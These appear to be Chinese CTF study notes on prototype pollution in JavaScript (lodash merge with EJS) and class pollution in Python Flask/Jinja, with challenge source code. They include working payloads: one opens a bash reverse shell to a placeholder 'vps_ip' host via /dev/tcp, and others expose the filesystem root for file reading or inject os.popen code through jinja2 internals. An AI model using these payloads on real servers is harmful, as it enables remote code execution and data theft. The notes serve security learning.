原型链污染

原型和原型链

和类和对象的继承关系很像
对比起来理解就很容易了:

javascript

https://blog.csdn.net/qq_51586883/article/details/119867720
例子:

function person(){
this.name="liahuqiu";
this.test=function () {
return 23333;

}
}
person.prototype.a=3;
web=new person();
console.log(web.test());
console.log(web.a)

假设有merge函数

function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

那么利用js的特性:

let a={};
let b={n:1,"__proto__":2};

merge(a,b);
//b复制给a

JSON.parse的时候这个时候__proto__就会被当做键名
不使用parse则__proto__解析为原型

[NSSCTF 2nd]MyJs

https://blog.csdn.net/qq_34942239/article/details/136431085
查看源码发现提示查看/source接口
那么后端使用的应该是node.js

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
name: 'session',
secret: randomize('a', 16),
resave: true,
saveUninitialized: true
}))
.get('/', (req, res) => {
if (req.session.data) {
res.redirect('/home');
} else {
res.redirect('/login')
}
})
.get('/source', (req, res) => {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
if (req.method == "GET") {
res.render('login.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password, token} = req.body;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
return res.render('login.ejs', {msg: 'login error.'});
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"});
if (username === user.username && password === user.password) {
req.session.data = {
username: username,
count: 0,
}
res.redirect('/home');
} else {
return res.render('login.ejs', {msg: 'login error.'});
}
}
})
.all('/register', (req, res) => {
if (req.method == "GET") {
res.render('register.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password} = req.body;
if (!username || username == 'nss') {
return res.render('register.ejs', {msg: "Username existed."});
}
const secret = crypto.randomBytes(16).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret);
const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
res.render('register.ejs', {msg: "Token: " + token});
}
})
.all('/home', (req, res) => {
if (!req.session.data) {
return res.redirect('/login');
}
res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: null
})
})
.post('/update', (req, res) => {
if(!req.session.data) {
return res.redirect('/login');
}
if (req.session.data.username !== 'nss') {
return res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: 'U cant change uid'
})
}
let data = req.session.data || {};
req.session.data = lodash.merge(data, req.body);
console.log(req.session.data.outputFunctionName);
res.redirect('/home');
})
.listen(827, '0.0.0.0')

payload:

{
"__proto__":{
"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps_ip/4567 0>&1\"');","compileDebug":true
}
}

python

对于python来说就没有原型的概念了
事实上就是父类与子类的继承关系
也就是说子类继承的变量相当于父类的一个引用
所以如果改变父类的属性那么子类也会跟着改变
https://xz.aliyun.com/t/13072?time__1311=GqmhBKwKGNDKKYIq7KD%3DGCYDkt2ZDFmmD

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

污染过程:

class father:
secret = "hello"
class son_a(father):
pass
class son_b(father):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "world"
}
}
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
print(son_a.secret)
#world
print(instance.secret)
#world

全局变量的位置:

a=1
def demo():
pass
class A :
def __init__(self):
pass
print(demo.__globals__==globals()==A.__init__.__globals__)

针对flask的原型链污染

2025_0xgame_Lemon_RevEnge
from flask import Flask,request,render_template
import json
import os

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Dst():
def __init__(self):
pass


Game0x = Dst()

@app.route('/',methods=['POST', 'GET'])
def index():
print(Game0x.__init__.__globals__["app"].__dict__)
if request.data:
merge(json.loads(request.data), Game0x)
return render_template("index.html", Game0x=Game0x)

@app.route("/<path:path>")
def render_page(path):
if not os.path.exists("templates/" + path):
return "Not Found", 404
return render_template(path)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=9000)

没有能够专门用来污染的目标点

那么就是针对flask的一些属性进行污染

因为json没有办法承载对象,所以我们是没法打内存马的,lambda表达式渲染不出来

首先通过进入点的全局作用域来获得app

{
"__init__": {
"__globals__": {
"app": {
}
}
}
}

然后在app的__dict__中获得所有的可写属性,可以打出来看一下有哪些

{
'import_name': '__main__',
'_static_folder': 'static',
'_static_url_path': None,
'template_folder': 'templates',

'root_path': 'c:\\Users\\20889\\Downloads\\app',
'view_functions': {
'static': '<function object>',
'index': '<function index object>',
'render_page': '<function render_page object>'
},
'error_handler_spec': '<defaultdict object>',
'before_request_funcs': '<defaultdict object>',
'after_request_funcs': '<defaultdict object>',
'teardown_request_funcs': '<defaultdict object>',
'template_context_processors': '<defaultdict object>',
'url_value_preprocessors': '<defaultdict object>',
'url_default_functions': '<defaultdict object>',
'instance_path': 'C:\\Users\\20889\\Downloads\\app\\instance',

'config': '<Config object>',
'aborter': '<werkzeug.exceptions.Aborter object>',
'json': '<flask.json.provider.DefaultJSONProvider object>',
'url_build_error_handlers': [],
'teardown_appcontext_funcs': [],
'shell_context_processors': [],
'blueprints': {},
'extensions': {},

'url_map': 'Map object: [static, index, render_page]',
'subdomain_matching': False,
'_got_first_request': True,
'cli': '<AppGroup app>',
'name': 'app'
}

对这三项进行污染可以做到读文件

'_static_folder': 'static',
'_static_url_path': None,
'template_folder': 'templates'

payload:

{
"__init__": {
"__globals__": {
"app": {
"__dict__": {
"_static_folder": "/",
"_static_url_path": "/static"
}
}
}
}
}

对于多重引入模块的污染

对于已经import sys的环境可以使用sys库来获取所有的已引入模块

具体payload大概这样:

payload = {
"__init__" : {
"__globals__" : {
"sys" : {
"modules" : {
"test_1" : {
"secret_var" : 514,
"target_class" : {
"secret_class_var" : "Poluuuuuuted ~"
}
}
}
}
}
}
}

那么如果没有拿到的话就要通过内置Loader类进行获取

print("sys" in dir(__import__("importlib.__init__")))
#True
print("sys" in dir(__import__("importlib._bootstrap")))
#True
print("sys" in dir(__import__("importlib._bootstrap_external")))
#True
print("sys" in dir(__import__("importlib._common")))
#True
print("sys" in dir(__import__("importlib.abc")))
#True
print("sys" in dir(__import__("importlib.machinery")))
#True
print("sys" in dir(__import__("importlib.metadata")))
#True
print("sys" in dir(__import__("importlib.resources")))
#True
print("sys" in dir(__import__("importlib.util")))
#True

loader类通过一个模块的__spec__.__loader__属性获取即可

实现RCE的污染

_got_first_request

我们知道新版的flask中对内存马进行了限制,如果已经启动,收到第一个请求,那么就无法再直接执行添加路由之类的操作

但是对这个属性进行污染之后就不会触发检查了:

{
"__init__":{
"__globals__":{
"app":{
"_got_first_request":False
}
}
}
}
对jinja表示符污染

https://jinja.palletsprojects.com/en/stable/api/#jinja2.Environment

{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "[[",
"variable_end_string":"]]"
}
}
}
}

如果使用render_template()函数渲染模版:

{
"__init__":{
"__globals__":{
"__loader__":{
"__init__":{
"__globals__":{
"sys":{
"modules":{
"jinja2":{
"runtime":{
"exported":[
"*;__import__('os').popen('env').read();#"
]
}
}
}
}
}
}
}
}
}
}